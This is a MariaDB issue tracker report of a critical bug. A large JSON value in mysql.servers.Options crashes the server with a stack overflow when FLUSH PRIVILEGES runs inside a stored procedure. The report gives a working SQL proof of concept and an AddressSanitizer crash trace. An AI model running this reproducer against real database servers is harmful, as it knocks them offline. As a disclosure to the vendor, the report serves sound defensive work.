Uploaded image for project: 'MariaDB Server'
  1. MariaDB Server
  2. MDEV-41064

MariaDB Server stack overflow when FLUSH PRIVILEGES parses a large JSON value from mysql.servers.Options inside a stored procedure

    XMLWordPrintable

Details

    • Bug
    • Status: Confirmed (View Workflow)
    • Critical
    • Resolution: Unresolved
    • 11.8, 12.3, 13.1, 13.0.1
    • 11.8, 12.3, 13.0
    • 13.1.0-MariaDB-asan with AddressSanitizer enabled
      Source revision: b2a8c2234dbc276fe3947633c9ffea454badf48f
      Build: ASAN
      OS: Linux 6.6.98-40.6.tl4.x86_64
    • Can result in hang or crash
    • Q4/2026 Server Maintenance

    Description

      POC:

      DELETE FROM mysql.servers
      WHERE Server_name = 't1';
       
      INSERT INTO mysql.servers
          (Server_name, Host, Db, Username, Password, Port, Socket, Wrapper, Owner, Options)
      VALUES
          (
              't1',
              '127.0.0.1',
              '',
              '',
              '',
              3306,
              '',
              'mysql',
              '',
              CONCAT(
                  '{"HOST": "127.0.0.1", "x": "',
                  REPEAT('a', 12000000),
                  '"}'
              )
          );
       
      CREATE DATABASE IF NOT EXISTS t2;
      USE t2;
       
      DROP PROCEDURE IF EXISTS t3;
       
      DELIMITER $$
       
      CREATE PROCEDURE t3()
      BEGIN
          FLUSH PRIVILEGES;
      END$$
       
      DELIMITER ;
       
      CALL t3();
       
      DROP PROCEDURE IF EXISTS t3;
      DROP DATABASE IF EXISTS t2;
       
      DELETE FROM mysql.servers
      WHERE Server_name = 't1';
      
      

      asan report:
      =================================================================
      ==1==ERROR: AddressSanitizer: SEGV on unknown address 0x6e957d757000 (pc 0x5adc786ca01e bp 0x6e957d6e4b90 sp 0x6e957d6e4b90 T12)
      ==1==The signal is caused by a WRITE memory access.
      ==1==WARNING: invalid path to external symbolizer!
      ==1==WARNING: Failed to use and restart external symbolizer!
      #0 0x5adc786ca01e (/usr/local/mariadb/bin/mariadbd+0x271d01e) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #1 0x5adc78713406 (/usr/local/mariadb/bin/mariadbd+0x2766406) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #2 0x5adc773981ba (/usr/local/mariadb/bin/mariadbd+0x13eb1ba) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #3 0x5adc77394c91 (/usr/local/mariadb/bin/mariadbd+0x13e7c91) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #4 0x5adc7739446d (/usr/local/mariadb/bin/mariadbd+0x13e746d) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #5 0x5adc773f1a1e (/usr/local/mariadb/bin/mariadbd+0x1444a1e) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #6 0x5adc77006003 (/usr/local/mariadb/bin/mariadbd+0x1059003) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #7 0x5adc77529316 (/usr/local/mariadb/bin/mariadbd+0x157c316) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #8 0x5adc775231f5 (/usr/local/mariadb/bin/mariadbd+0x15761f5) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #9 0x5adc775247cc (/usr/local/mariadb/bin/mariadbd+0x15777cc) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #10 0x5adc77527fd2 (/usr/local/mariadb/bin/mariadbd+0x157afd2) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #11 0x5adc76dee721 (/usr/local/mariadb/bin/mariadbd+0xe41721) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #12 0x5adc76df217d (/usr/local/mariadb/bin/mariadbd+0xe4517d) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #13 0x5adc76fff24d (/usr/local/mariadb/bin/mariadbd+0x105224d) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #14 0x5adc76ffe919 (/usr/local/mariadb/bin/mariadbd+0x1051919) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #15 0x5adc770020fa (/usr/local/mariadb/bin/mariadbd+0x10550fa) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #16 0x5adc76ff8b4b (/usr/local/mariadb/bin/mariadbd+0x104bb4b) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #17 0x5adc76ff3783 (/usr/local/mariadb/bin/mariadbd+0x1046783) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #18 0x5adc76ff978d (/usr/local/mariadb/bin/mariadbd+0x104c78d) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #19 0x5adc7739f8cc (/usr/local/mariadb/bin/mariadbd+0x13f28cc) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #20 0x5adc7739f417 (/usr/local/mariadb/bin/mariadbd+0x13f2417) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #21 0x5adc77eb234b (/usr/local/mariadb/bin/mariadbd+0x1f0534b) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #22 0x5adc76c8f978 (/usr/local/mariadb/bin/mariadbd+0xce2978) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #23 0x7695a290aaa3 (/lib/x86_64-linux-gnu/libc.so.6+0x9caa3) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
      #24 0x7695a2997a63 (/lib/x86_64-linux-gnu/libc.so.6+0x129a63) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)

      AddressSanitizer can not provide additional info.
      SUMMARY: AddressSanitizer: SEGV (/usr/local/mariadb/bin/mariadbd+0x271d01e) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      Thread T12 created by T0 here:
      #0 0x5adc76c779c1 (/usr/local/mariadb/bin/mariadbd+0xcca9c1) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #1 0x5adc77eb2630 (/usr/local/mariadb/bin/mariadbd+0x1f05630) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #2 0x5adc76ce1b68 (/usr/local/mariadb/bin/mariadbd+0xd34b68) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #3 0x5adc76ce21e8 (/usr/local/mariadb/bin/mariadbd+0xd351e8) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #4 0x5adc76ce2b48 (/usr/local/mariadb/bin/mariadbd+0xd35b48) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #5 0x5adc76ce068c (/usr/local/mariadb/bin/mariadbd+0xd3368c) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #6 0x5adc76cd7750 (/usr/local/mariadb/bin/mariadbd+0xd2a750) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
      #7 0x7695a28981c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
      #8 0x7695a289828a (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
      #9 0x5adc76bf8e24 (/usr/local/mariadb/bin/mariadbd+0xc4be24) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)

      ==1==ABORTING

      Attachments

        Issue Links

          Activity

            People

              ycp Yuchen Pei
              miaorp miao runpei
              Votes:
              0 Vote for this issue
              Watchers:
              5 Start watching this issue

              Dates

                Created:
                Updated:

                Time Tracking

                  Estimated:
                  Original Estimate - 0d
                  0d
                  Remaining:
                  Remaining Estimate - 1.5d
                  1.5d
                  Logged:
                  Time Spent - Not Specified
                  Not Specified

                  Git Integration

                    Error rendering 'com.xiplink.jira.git.jira_git_plugin:git-issue-webpanel'. Please contact your Jira administrators.